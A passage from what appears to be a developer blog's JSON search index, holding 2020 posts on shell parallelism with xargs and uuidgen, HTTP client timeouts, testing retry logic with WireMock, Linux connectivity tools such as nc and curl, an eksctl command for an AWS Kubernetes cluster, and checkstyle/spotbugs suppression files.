class=\"go\"\u003e\tNumberLong(317),\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e\tNumberLong(319),\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e\tNumberLong(322),\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e\tNumberLong(328),\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e\tNumberLong(344),\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e\tNumberLong(348)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eTo simple extract numbers from this file, we\u0026rsquo;ll use \u003ca href=\"https://www.pcre.org/original/doc/html/pcregrep.html#:~:text=pcregrep%20searches%20files%20for%20character,regular%20expressions%20of%20Perl%205.\u0026amp;text=At%20least%20one%20of%20%2De,argument%20pattern%20must%20be%20provided.\"\u003epcregrep\u003c/a\u003e command to capture the regex group and output it.\u003c/p\u003e","title":"Finding intersection of two lists in shell"},{"content":"Recently, I was required to generate multiple UUID\u0026rsquo;s and pass onto HTTP request as a parameter. I thought of using Python or Node.js for this purpose, but thought why not use a plain old shell.\nBut, is there a way to generate UUID in shell? Turns out, there is using uuidgen command which works on both Linux and MacOS.\nHence, using the power of another command called seq, and xargs we can achieve many powerful things on shell\nSequentially print 1 to 10000:\nseq 1 10000 Print and pipe to xargs command for printing the output using single thread\nseq 1 10000 | xargs -I {} -P 1 printf \u0026#39;{}\\n\u0026#39; Parallelly print 1 to 10000 using 10 threads:\nseq 1 10000 | xargs -I {} -P 10 printf \u0026#39;{}\\n\u0026#39; You can test out the parallelism using time command, which will print the output for above 2 commands. For me output is:\n________________________________________________________ Executed in 14.23 secs fish external usr time 3.88 secs 167.00 micros 3.88 secs sys time 9.31 secs 1005.00 micros 9.31 secs ________________________________________________________ Executed in 5.08 secs fish external usr time 4.77 secs 229.00 micros 4.77 secs sys time 16.05 secs 1027.00 micros 16.05 secs Another way to confirm the parallelism, is to observe that, with parallelism, numbers are printed slightly jumbled in between.\nUsing, the above fundamental knowledge, we can generate multiple UUID\u0026rsquo;s using uuidgen command as follows:\nseq 1 10 | xargs -I {} -P 1 uuidgen Output will be:\nC327AB74-D84B-43C1-B188-550AE86DD398 6B6E541D-74BE-4FB8-892A-03C8FD3E7F59 101B2E23-F6AC-4AB3-82DA-08C22F1A35CF 0F3E72C8-56A9-438D-8785-9D1DC9242E63 C7326E3E-C79A-46AB-BCA4-FBE935D01700 CCBC8496-71A9-4CDF-B38F-8A13A565C191 245862F7-6087-4730-96CC-B21FF25846A6 052A9889-262E-4513-AFF2-62E71BC4A2D2 AF969198-0DA8-49BA-9931-D38709510354 74497908-6E59-402A-93EE-514B541B308F How about using this uuid\u0026rsquo;s in a curl command:\nseq 1 10 | xargs -I {} uuidgen | xargs -I{} -n1 -P 10 curl -X GET \u0026#39;http://google.com/{}\u0026#39; Hope you enjoyed little fun tricks in shell\n","permalink":"https://madhur.co.in/blog/2020/06/06/generate-multiple-uuid-shell.html","summary":"\u003cp\u003eRecently, I was required to generate multiple UUID\u0026rsquo;s and pass onto HTTP request as a parameter. I thought of using \u003ca href=\"https://www.python.org/\"\u003ePython\u003c/a\u003e or \u003ca href=\"https://nodejs.org/en/\"\u003eNode.js\u003c/a\u003e for this purpose, but thought why not use a plain old \u003ca href=\"https://en.wikipedia.org/wiki/Unix_shell\"\u003eshell\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eBut, is there a way to generate UUID in shell? Turns out, there is using \u003ca href=\"https://www.man7.org/linux/man-pages/man1/uuidgen.1.html\"\u003euuidgen\u003c/a\u003e command which works on both Linux and MacOS.\u003c/p\u003e\n\u003cp\u003eHence, using the power of another command called \u003ca href=\"https://en.wikipedia.org/wiki/Seq_(Unix)\"\u003eseq\u003c/a\u003e, and \u003ca href=\"https://man7.org/linux/man-pages/man1/xargs.1.html\"\u003exargs\u003c/a\u003e we can achieve many powerful things on shell\u003c/p\u003e","title":"Executing commands in parallel in Shell and other fun stuff"},{"content":"I have always been fan of well assembled desktop systems. Its a joy to carefully pick each component of your personal computer and assemble it to pick best performance.\nThe current rig which I use is listed here on PCPartPicker\nIt is also very important to continuously monitor the performance of such system so as to make sure they are running in optimum systems.\nEspecially important is CPU and GPU temperatures. With latest software and games, pushing the limits of hardware, these hardware peripherals dissipate lot of heat when running at their peak levels.\nHence, it is very important to invest in components which run the system cool.\nIn my case, I invested in Cooler Master CPU Cooler and Arctic Silver thermal compound\nJust addition of two compounds reduced my CPU\u0026rsquo;s idle temperature from 60 C to 40 C\nIn addition to that, its very important to continuously monitor the temperature over time. while using Linux, I was always the fan of Conky to monitor the same.\nWhile currently using Windows, I depend heavily on Rainmeter to display a desktop widget to display CPU and GPU details as shown below.\nThe skip can be downloaded from my github repository\nThe wallpaper is from Wallpaper engine\nOpen image in fullscreen\n","permalink":"https://madhur.co.in/blog/2020/05/30/customize-windows10-desktop.html","summary":"\u003cp\u003eI have always been fan of well assembled desktop systems. Its a joy to carefully pick each component of your personal computer and assemble it to pick best performance.\u003c/p\u003e\n\u003cp\u003eThe current rig which I use is listed here on \u003ca href=\"https://pcpartpicker.com/user/madhur_ahuja/saved/#view=FdqWXL\"\u003ePCPartPicker\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eIt is also very important to continuously monitor the performance of such system so as to make sure they are running in optimum systems.\u003c/p\u003e\n\u003cp\u003eEspecially important is CPU and GPU temperatures. With latest software and games, pushing the limits of hardware, these hardware peripherals dissipate lot of heat when running at their peak levels.\u003c/p\u003e","title":"Customize Windows 10 Desktop"},{"content":"In a well designed backend application, which makes calls to other HTTP services, it is very important to configure appropriate timeout values. In event of a service failure, a large timeout value can cause threads on the application to keep waiting for service to respond and may ultimately run out of threads which could have been used for doing other work. Otherwise, low timeout value can cause genuine requests to be aborted which would have been responded.\nFirst of all, it is very important which are the different types of timeouts which can be configured from the aspect of a HTTP client.\nConnection Timeout A connect timeout is the period between which the connection between a client and a server must be established. It includes the time for DNS resolution, and setup a TCP connection including the handshake. This is a client setting because it\u0026rsquo;s the client which will initiate the connection.\nhttp.connection.timeout - the default value is zero, which means infinite.\nRequest Timeout This is the time, during which a request must be completed after the connection has been made. It includes the time for the client to send the request, and also the server to respond. If the client doesn\u0026rsquo;t send the request, the request can time out.\nNote that this is a server side setting. This is because, server wouldn\u0026rsquo;t want to keep the connection (and ultimately a thread) waiting indefinitely for the client to request.\nOne must think that this should be a client setting as well, what if the server takes too much time to respond. Correct. There is a similar setting on client as well, which is usually called, Socket Timeout, but it is not exactly same as Request TimeOut\nSocket Timeout This is a maximum time between two data packets to arrive. This is a client side setting. Some people confuse this with RequestTimeout on the client side. It is only a timeout between two packets. If we set this value to 5 seconds, it can still take the entire request to take lets say 15 seconds given that the time period between two consecutive packets was always \u0026lt; 5 seconds.\nhttp.socket.timeout - The default value is zero, which means infinite.\nConnection Request TimeOut This is applicable if you are using connection pooling on the client. This Timeout setting defines the maximum time during which a connection must be obtained from the pool.\nThe below code snippet shows how to set the various client timeout settings on the Apache HTTP Client.\npublic HttpClient retryHttpClient() { RequestConfig requestConfig = RequestConfig.custom() .setConnectTimeout(CONN_TIMEOUT_MS) .setConnectionRequestTimeout(CONN_REQUEST_TIMEOUT_MS) .setSocketTimeout(CONN_SOCKET_TIMEOUT_MS).build(); return HttpClientBuilder.create() .setConnectionManager(connectionManager) .setDefaultRequestConfig(requestConfig) .build(); } ","permalink":"https://madhur.co.in/blog/2020/05/16/http-timeouts.html","summary":"\u003cp\u003eIn a well designed backend application, which makes calls to other HTTP services, it is very important to configure appropriate timeout values. In event of a service failure, a large timeout value can cause threads on the application to keep waiting for service to respond and may ultimately run out of threads which could have been used for doing other work. Otherwise, low timeout value can cause genuine requests to be aborted which would have been responded.\u003c/p\u003e","title":"Different HTTP Timeouts in HTTP Client"},{"content":"The sample code below is available in my github repo\nLet\u0026rsquo;s face it, HTTP network calls can face intermittently. Even if you best configure the Linux Operating System, the TCP/IP networking stack and the best possible private / public cloud networks, failures are inevitable. Sometimes, the reason can be dropped packets at router / NIC or could be any issue in networking stack.\nFor any well designed backend application, it is imperative to design for failures upfront rather than as afterthought. It depends on scenario to scenario, for example, mobile client making a call to HTTP server or it could be even a server making a inter-service call in a microservice architecture. The solution differs from scenario to scenario.\nIn this post, we will not discuss about possible solutions, but look at how to accurately unit test the choosen solution.\nFor example, a very naive HTTP retry strategy to be to retry 3 times at an interval of 500ms in case of any SocketException or if the HTTP response status code is Service Unavailable\nIf we are using Java and Spring Framework, we could implement this in Apache HTTP Client as follows\n@Bean public HttpClient retryHttpClient() { connectionManager.setDefaultMaxPerRoute(CONN_POOL_DEFAULT_MAX_PER_ROUTE); connectionManager.setMaxTotal(CONN_POOL_DEFAULT_MAX); RequestConfig requestConfig = RequestConfig.custom() .setConnectTimeout(CONN_TIMEOUT_MS) .setConnectionRequestTimeout(CONN_REQUEST_TIMEOUT_MS) .setSocketTimeout(CONN_SOCKET_TIMEOUT_MS).build(); return HttpClientBuilder.create() .setConnectionManager(connectionManager) .setDefaultRequestConfig(requestConfig) .setRetryHandler((exception, executionCount, context) -\u0026gt; executionCount \u0026lt;= MAX_RETRIES \u0026amp;\u0026amp; exception instanceof SocketException).setServiceUnavailableRetryStrategy(new ServiceUnavailableRetryStrategy() { @Override public long getRetryInterval() { return 500; } @Override public boolean retryRequest(HttpResponse response, int executionCount, HttpContext context) { return executionCount \u0026lt;= MAX_RETRIES \u0026amp;\u0026amp; response .getStatusLine() .getStatusCode() == HttpStatus.SC_SERVICE_UNAVAILABLE; } }) .build(); } But how do we go about testing that it works according to our defined specification? In this case, retrying only for SocketException or 503 status code. The strategy here is very simple but it could be complex or there could be multiple instances of HTTP clients implementing various strategies. How do we make sure they all work ? This is the question I recently faced while working with a big enterprise project recently.\nTurns out, there is an excellent library called Wiremock for spinning up a mock HTTP server during unit testing and it can service defined responses or response status codes. It can even generate network faults such as connection reset or network socket exceptions, which allows us to simulate any network response from the unit test code.\nIn addition to that, one powerful aspect of Wiremock is its Verify APIs, which allows us to exactly measure how many times a particular endpoint was called. This is what we will be using in our tests.\nTo spin up a mock server, we simply add a Junit Rule, within our test class\n@Rule public WireMockRule wireMockRule = new WireMockRule(port); // No-args constructor defaults to port 8080 Now, lets say we want to ensure our client retries for 503 status but not for 502 status code, we can simply test using the following tests\n@Test public void testFourRetryFor503StatusCode() { stubFor(get(urlEqualTo(testResource)).willReturn(aResponse().withStatus(503))); try { retryHttpClient.execute(new HttpGet(getMockUri())); } catch (IOException | URISyntaxException e) { e.printStackTrace(); Assert.fail(); } verify(1 + 3, getRequestedFor(urlEqualTo(testResource))); } @Test public void testZeroRetryFor502StatusCode() { stubFor(get(urlEqualTo(testResource)).willReturn(aResponse().withStatus(502))); try { retryHttpClient.execute(new HttpGet(getMockUri())); } catch (IOException | URISyntaxException e) { e.printStackTrace(); Assert.fail(); } verify(1, getRequestedFor(urlEqualTo(testResource))); } Similarly, to generate a socket exception we can configure the response to generate a Fault as follows\n@Test public void testFourRetryForSocketException() { stubFor(get(urlEqualTo(testResource)).willReturn(aResponse().withFault(Fault.CONNECTION_RESET_BY_PEER))); try { retryHttpClient.execute(new HttpGet(getMockUri())); } catch (IOException e) { // IOException is expected } catch (URISyntaxException e) { e.printStackTrace(); Assert.fail(); } verify(1 + 3, getRequestedFor(urlEqualTo(testResource))); } The sample code above is available in my github repo\n","permalink":"https://madhur.co.in/blog/2020/05/09/unit-testing-http-retry-strategies.html","summary":"\u003cp\u003eThe sample code below is available in \u003ca href=\"https://github.com/madhur/unit-test-http-retry\"\u003emy github repo\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eLet\u0026rsquo;s face it, HTTP network calls can face intermittently. Even if you best configure the Linux Operating System, the TCP/IP networking stack and the best possible private / public cloud networks, failures are inevitable. Sometimes, the reason can be dropped packets at router / NIC or could be any issue in networking stack.\u003c/p\u003e\n\u003cp\u003eFor any well designed backend application, it is imperative to design for failures upfront rather than as afterthought. It depends on scenario to scenario, for example, mobile client making a call to HTTP server or it could be even a server making a inter-service call in a microservice architecture. The solution differs from scenario to scenario.\u003c/p\u003e","title":"Unit testing HTTP retry strategies"},{"content":"In this post, we will look at tools to test remote connectivity in Linux. With increasing usage of firewalls, server hardening due to cyber attacks, it becomes important to determine appropriate connectivity between two hots. Note that, we are looking for connectivity tests w.r.t. server systems such as databases, application servers etc.\nOrganizations having multiple datacenters, systems running in private / public clouds, accessing vendor partner systems, its important to have a know how to determine if the a system is able to connect to a remote system or not.\nNote that our focus will be on covering out of the box tools in Linux and not any custom built tools by 3rd party.\nSo, let\u0026rsquo;s get down to it.\nping telnet netcat (nc) curl netstat nmap ping ping is one of the oldest Linux utilities to test connectivity between two hosts. It works on ICMP\n$ ping -c 5 www.example.com PING www.example.com (93.184.216.34): 56 data bytes 64 bytes from 93.184.216.34: icmp_seq=0 ttl=56 time=11.632 ms 64 bytes from 93.184.216.34: icmp_seq=1 ttl=56 time=11.726 ms 64 bytes from 93.184.216.34: icmp_seq=2 ttl=56 time=10.683 ms 64 bytes from 93.184.216.34: icmp_seq=3 ttl=56 time=9.674 ms 64 bytes from 93.184.216.34: icmp_seq=4 ttl=56 time=11.127 ms --- www.example.com ping statistics --- 5 packets transmitted, 5 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 9.674/10.968/11.726/0.748 ms The issue with ping is that it does not test TCP connectivity to a particular port. It was designed in mind when there used to be no firewalls or restriction between 2 hosts. But in modern world, ICMP traffic is usually restricted. So its possible that there exists a valid connectivity between two hosts at a particular port while ping command shows unreachable. telnet Telnet is another utility which has been widely used in history to test connectivity between hosts at a specific port. For ex,\nif we want to test the connectivity at IP 172.217.163.46 at port 443, we can simply do\n$ ~ telnet 172.217.163.46 443 Trying 172.217.163.46... Connected to maa05s01-in-f14.1e100.net. Escape character is \u0026#39;^]\u0026#39;. The issue with telnet is that it transfer everything in plaintext. So if you type a password in it, it will be transferred without encryption. Due to this reason, many popular flavors of Linux such as Fedora, CentOS and RHEL do not include this utility anymore in standard Linux distribution. It can be installed manually through yum install telnet though. netcat (nc) Netcat or nc is by far the most currently popular tool right now. It is very powerful as it allows you to even setup your own server and is generally referred to as swiss army knife.\nTaking the same above example,\n$ ~ nc -v 172.217.163.46 443 found 0 associations found 1 connections: 1:\tflags=82\u0026lt;CONNECTED,PREFERRED\u0026gt; outif en0 src 192.168.1.96 port 55004 dst 172.217.163.46 port 443 rank info not available TCP aux info available It can do port scanning\nIt can test out UDP ports too\ncurl curl is the best tool if you are dealing with HTTP / HTTPS traffic.\n$ ~ curl -k https://172.217.163.46 \u0026lt;HTML\u0026gt;\u0026lt;HEAD\u0026gt;\u0026lt;meta http-equiv=\u0026#34;content-type\u0026#34; content=\u0026#34;text/html;charset=utf-8\u0026#34;\u0026gt; \u0026lt;TITLE\u0026gt;301 Moved\u0026lt;/TITLE\u0026gt;\u0026lt;/HEAD\u0026gt;\u0026lt;BODY\u0026gt; \u0026lt;H1\u0026gt;301 Moved\u0026lt;/H1\u0026gt; The document has moved \u0026lt;A HREF=\u0026#34;http://www.google.com/\u0026#34;\u0026gt;here\u0026lt;/A\u0026gt;. \u0026lt;/BODY\u0026gt;\u0026lt;/HTML\u0026gt; -k option is used to skip SSL check.\nUsing verbose option (-vvv) can give you much more information about HTTP version, headers and TLS version.\n$ ~ curl -vvv -k https://172.217.163.46 * Rebuilt URL to: https://172.217.163.46/ * Trying 172.217.163.46... * TCP_NODELAY set * Connected to 172.217.163.46 (172.217.163.46) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH * successfully set certificate verify locations: * CAfile: /etc/ssl/cert.pem CApath: none * TLSv1.2 (OUT), TLS handshake, Client hello (1): * TLSv1.2 (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Client hello (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS change cipher, Client hello (1): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-CHACHA20-POLY1305 * ALPN, server accepted to use h2 * Server certificate: * subject: C=US; ST=California; L=Mountain View; O=Google LLC; CN=*.google.com * start date: Apr 7 09:27:14 2020 GMT * expire date: Jun 30 09:27:14 2020 GMT * issuer: C=US; O=Google Trust Services; CN=GTS CA 1O1 * SSL certificate verify ok. * Using HTTP2, server supports multi-use * Connection state changed (HTTP/2 confirmed) * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0 * Using Stream ID: 1 (easy handle 0x7fb685003c00) \u0026gt; GET / HTTP/2 \u0026gt; Host: 172.217.163.46 \u0026gt; User-Agent: curl/7.54.0 \u0026gt; Accept: */* \u0026gt; * Connection state changed (MAX_CONCURRENT_STREAMS updated)! \u0026lt; HTTP/2 301 \u0026lt; location: http://www.google.com/ \u0026lt; content-type: text/html; charset=UTF-8 \u0026lt; date: Fri, 01 May 2020 14:27:00 GMT \u0026lt; expires: Sun, 31 May 2020 14:27:00 GMT \u0026lt; cache-control: public, max-age=2592000 \u0026lt; server: gws \u0026lt; content-length: 219 \u0026lt; x-xss-protection: 0 \u0026lt; x-frame-options: SAMEORIGIN \u0026lt; alt-svc: h3-Q050=\u0026#34;:443\u0026#34;; ma=2592000,h3-Q049=\u0026#34;:443\u0026#34;; ma=2592000,h3-Q048=\u0026#34;:443\u0026#34;; ma=2592000,h3-Q046=\u0026#34;:443\u0026#34;; ma=2592000,h3-Q043=\u0026#34;:443\u0026#34;; ma=2592000,quic=\u0026#34;:443\u0026#34;; ma=2592000; v=\u0026#34;46,43\u0026#34; \u0026lt; \u0026lt;HTML\u0026gt;\u0026lt;HEAD\u0026gt;\u0026lt;meta http-equiv=\u0026#34;content-type\u0026#34; content=\u0026#34;text/html;charset=utf-8\u0026#34;\u0026gt; \u0026lt;TITLE\u0026gt;301 Moved\u0026lt;/TITLE\u0026gt;\u0026lt;/HEAD\u0026gt;\u0026lt;BODY\u0026gt; \u0026lt;H1\u0026gt;301 Moved\u0026lt;/H1\u0026gt; The document has moved \u0026lt;A HREF=\u0026#34;http://www.google.com/\u0026#34;\u0026gt;here\u0026lt;/A\u0026gt;. \u0026lt;/BODY\u0026gt;\u0026lt;/HTML\u0026gt; * Connection #0 to host 172.217.163.46 left intact netstat netstat is another one of mine favorite tools. Though, it doesn\u0026rsquo;t allow you to test the connectivity with the new host, its the best tool if you want to view the list of already connected hosts.\n# ~ netstat -tun Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 10.33.128.63:36352 10.12.24.223:9092 ESTABLISHED tcp 0 0 10.33.128.63:22 172.29.124.150:63515 ESTABLISHED tcp 0 0 10.33.128.63:55638 10.12.38.199:9997 TIME_WAIT tcp 0 0 10.33.128.63:45938 10.36.66.150:5000 ESTABLISHED tcp 0 0 10.33.128.63:37738 10.12.38.187:9997 TIME_WAIT tcp 0 0 10.33.128.63:44620 10.12.38.206:9997 ESTABLISHED tcp 0 0 10.33.128.63:33676 10.33.128.63:22 TIME_WAIT tcp 0 0 10.33.128.63:41616 10.12.24.222:9092 ESTABLISHED tcp 0 52 10.33.128.63:22 172.28.96.245:58173 ESTABLISHED It also gives the state of TCP port as well (ESTABLISHED, TIME_WAIT, LISTENING)\nnmap nmap is one of the most advanced tools out of these. It might not be installed out of the box in every Linux distribution. It is considered a very advanced security tool for OS fingerprinting, port scanning.\n","permalink":"https://madhur.co.in/blog/2020/05/01/tools-test-connectivity-linux.html","summary":"\u003cp\u003eIn this post, we will look at tools to test remote connectivity in Linux. With increasing usage of firewalls, server hardening due to cyber attacks, it becomes important to determine appropriate connectivity between two hots. Note that, we are looking for connectivity tests w.r.t. server systems such as databases, application servers etc.\u003c/p\u003e\n\u003cp\u003eOrganizations having multiple datacenters, systems running in private / public clouds, accessing vendor partner systems, its important to have a know how to determine if the a system is able to connect to a remote system or not.\u003c/p\u003e","title":"Tools to test remote connectivity in Linux"},{"content":"Classloaders are an important concept for every engineer to be aware of.\nClassloaders are basic building blocks of Containers like Tomcat. Suppose, we have written a java application and have a singleton instance, we might say its singleton across JVM. Wrong. Its not singleton across JVM, its a singleton across classloader.\nThe same application can be deployed in a container like Tomcat, as two different application. In that case, there will be 2 copies of the Singleton object with exact same package and class names inside a single JVM.\nTomcat has a dedicated page on how it loads the classloaders.\n","permalink":"https://madhur.co.in/blog/2020/04/25/classloaders-containers-unit-tests.html","summary":"\u003cp\u003eClassloaders are an important concept for every engineer to be aware of.\u003c/p\u003e\n\u003cp\u003eClassloaders are basic building blocks of Containers like Tomcat. Suppose, we have written a java application and have a singleton instance, we might say its singleton across JVM. Wrong. Its not singleton across JVM, its a singleton across classloader.\u003c/p\u003e\n\u003cp\u003eThe same application can be deployed in a container like Tomcat, as two different application. In that case, there will be 2 copies of the Singleton object with exact same package and class names inside a single JVM.\u003c/p\u003e","title":"Classloaders, Containers \u0026 Unit Tests"},{"content":"Recently, I was trying to do a POC on Kubernetes and required a kubernetes Cluster.\nIts easy to spin up a single machine cluster using Minkube on Windows, Linux and MacOS\nBut the behavior of Minkube is not as close to real Kubernetes cluster primarily because:\nYou can\u0026rsquo;t simulate multiple nodes You cannot have a public DNS for your services unless you use minikube tunnel The way minikube runs either in Docker, VirtualBox or over HyperV makes it difficult to test some of the networking features which would be as close to real Kubernetes cluster Because of the above disadvantages, I decided to setup my own Kubernetes cluster in AWS. Sure it would cost me some $$$ but atleast my testing would as close to real.\nCouple of years ago, I remember following long series of steps to setup cluster on AWS. But now, thanks to AWS CLI and eksctl, it takes a few terminal commands to run AWS Kubernetes cluster without even logging onto AWS UI.\nAssuming, you have AWS CLI installed and configured with your AWS Credentials,\neksctl create cluster \\ --name prod \\ --region ap-south-1 \\ --nodegroup-name standard-workers \\ --node-type t3.medium \\ --nodes 3 \\ --nodes-min 1 \\ --nodes-max 4 \\ --ssh-access \\ --ssh-public-key ~/.ssh/id_rsa.pub \\ --managed Here is the output of kubectl cluster-info after running the above command\n~ ./kubectl cluster-info Kubernetes master is running at https://92797800687320683968AF0937C2B5D3.yl4.ap-south-1.eks.amazonaws.com CoreDNS is running at https://92797800687320683968AF0937C2B5D3.yl4.ap-south-1.eks.amazonaws.com/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy ","permalink":"https://madhur.co.in/blog/2020/04/11/fastest-way-spin-kubernetes-cluster.html","summary":"\u003cp\u003eRecently, I was trying to do a POC on Kubernetes and required a kubernetes Cluster.\u003c/p\u003e\n\u003cp\u003eIts easy to spin up a single machine cluster using \u003ca href=\"https://kubernetes.io/docs/tasks/tools/install-minikube/\"\u003eMinkube\u003c/a\u003e on Windows, Linux and MacOS\u003c/p\u003e\n\u003cp\u003eBut the behavior of Minkube is not as close to real Kubernetes cluster primarily because:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eYou can\u0026rsquo;t simulate multiple nodes\u003c/li\u003e\n\u003cli\u003eYou cannot have a public DNS for your services unless you use \u003ca href=\"https://minikube.sigs.k8s.io/docs/handbook/accessing/#using-minikube-tunnel\"\u003eminikube tunnel\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eThe way minikube runs either in Docker, VirtualBox or over HyperV makes it difficult to test some of the networking features which would be as close to real Kubernetes cluster\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eBecause of the above disadvantages, I decided to setup my own Kubernetes cluster in AWS. Sure it would cost me some $$$ but atleast my testing would as close to real.\u003c/p\u003e","title":"Fastest way to spin up Kubernetes cluster on AWS"},{"content":"I was recently trying to add a package level suppression in both checkstyle / spotbugs and found it to be having weird syntax.\nFor checkstyle,\nFirst add a module in your checkstyle configuration file\n\u0026lt;module name=\u0026#34;SuppressionFilter\u0026#34;\u0026gt; \u0026lt;property name=\u0026#34;file\u0026#34; value=\u0026#34;./suppressions.xml\u0026#34;/\u0026gt; \u0026lt;/module\u0026gt; And then in the suppressions.xml , specify the package as follows:\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE suppressions PUBLIC \u0026#34;-//Puppy Crawl//DTD Suppressions 1.1//EN\u0026#34; \u0026#34;http://www.puppycrawl.com/dtds/suppressions_1_1.dtd\u0026#34;\u0026gt; \u0026lt;suppressions\u0026gt; \u0026lt;suppress files=\u0026#34;[\\\\/]com[\\\\/]domain[\\\\/]package\u0026#34; checks=\u0026#34;.\u0026#34;/\u0026gt; \u0026lt;/suppressions\u0026gt; For, Spotbugs, you specify the package level suppression in the exclude file as follows\n\u0026lt;FindBugsFilter\u0026gt; \u0026lt;Match\u0026gt; \u0026lt;Package name=\u0026#34;~com\\.domain\\.package.*\u0026#34;/\u0026gt; \u0026lt;/Match\u0026gt; \u0026lt;/FindBugsFilter\u0026gt; ","permalink":"https://madhur.co.in/blog/2020/03/28/adding-package-suppressions-checkstyle-spotbugs.html","summary":"\u003cp\u003eI was recently trying to add a package level suppression in both checkstyle / spotbugs and found it to be having weird syntax.\u003c/p\u003e\n\u003cp\u003eFor \u003ca href=\"https://github.com/checkstyle/checkstyle/blob/master/config/suppressions.xml\"\u003echeckstyle\u003c/a\u003e,\u003c/p\u003e\n\u003cp\u003eFirst add a module in your checkstyle configuration file\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;module\u003c/span\u003e \u003cspan class=\"na\"\u003ename=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;SuppressionFilter\u0026#34;\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nt\"\u003e\u0026lt;property\u003c/span\u003e \u003cspan class=\"na\"\u003ename=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;file\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003evalue=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;./suppressions.xml\u0026#34;\u003c/span\u003e\u003cspan class=\"nt\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;/module\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAnd then in the \u003ccode\u003esuppressions.xml\u003c/code\u003e , specify the package as follows:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u0026lt;!DOCTYPE suppressions PUBLIC\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e        \u0026#34;-//Puppy Crawl//DTD Suppressions 1.1//EN\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e        \u0026#34;http://www.puppycrawl.com/dtds/suppressions_1_1.dtd\u0026#34;\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;suppressions\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nt\"\u003e\u0026lt;suppress\u003c/span\u003e \u003cspan class=\"na\"\u003efiles=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;[\\\\/]com[\\\\/]domain[\\\\/]package\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003echecks=\u003c/span\u003e\u003cspan 